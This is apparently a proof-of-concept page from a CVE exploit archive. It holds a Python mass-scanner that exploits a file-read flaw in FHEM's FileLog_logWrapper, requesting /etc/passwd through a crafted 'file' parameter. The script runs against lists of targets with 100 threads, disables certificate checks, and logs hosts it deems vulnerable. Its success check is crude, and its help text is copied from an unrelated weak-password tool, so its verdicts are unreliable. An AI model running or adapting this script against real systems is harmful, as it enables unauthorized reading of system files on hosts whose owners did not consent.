4837 Total CVEs
26 Years
GitHub
README.md
Rendering markdown...
POC / Fhem.py PY
# -*- coding: utf-8 -*-
import argparse
import sys
import requests
from multiprocessing.dummy import Pool

requests.packages.urllib3.disable_warnings()


def banner():
    test = """   
 
     _,---.  ,--.-,,-,--,    ,----.         ___   
  .-`.' ,  \/==/  /|=|  | ,-.--` , \ .-._ .'=.'\  
 /==/_  _.-'|==|_ ||=|, ||==|-  _.-`/==/ \|==|  | 
/==/-  '..-.|==| ,|/=| _||==|   `.-.|==|,|  / - | 
|==|_ ,    /|==|- `-' _ /==/_ ,    /|==|  \/  , | 
|==|   .--' |==|  _     |==|    .-' |==|- ,   _ | 
|==|-  |    |==|   .-. ,\==|_  ,`-._|==| _ /\   | 
/==/   \    /==/, //=/  /==/ ,     //==/  / / , / 
`--`---'    `--`-' `-`--`--`-----`` `--`./  `--`  

                    tag:  Fhem FileLog_logWrapper
                    @version: 1.0.0   @author: haha                            
    """
    print(test)


def poc(target):
    url = target+"/fhem/FileLog_logWrapper?dev=Logfile&file=%2fetc%2fpasswd&type=text "

    headers = {
        "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/116.0.0.0 Safari/537.36",

    }

    try:
        res = requests.get(url, headers=headers, verify=False, timeout=5).text
        if "200" in res:
            print(f"[+] 经检查,{target} is vulable")
            with open("vulable.txt", "a+", encoding="utf-8") as f:
                f.write(target + "\n")
            return True
        else:
            print(f"[+] 经检查,{target} is not vulable")
            return False

    except :
        print(f"[*] {target} server error")


def main():
    banner()
    parser = argparse.ArgumentParser(description='canal admin weak Password')
    parser.add_argument("-u", "--url", dest="url", type=str, help=" example: http://www.example.com")
    parser.add_argument("-f", "--file", dest="file", type=str, help=" urls.txt")
    args = parser.parse_args()
    if args.url and not args.file:
        poc(args.url)
    elif not args.url and args.file:
        url_list = []
        with open(args.file, "r", encoding="utf-8") as f:
            for url in f.readlines():
                url_list.append(url.strip().replace("\n", ""))
        mp = Pool(100)
        mp.map(poc, url_list)
        mp.close()
        mp.join()
    else:
        print(f"Usag:\n\t python3 {sys.argv[0]} -h")


if __name__ == '__main__':
    main()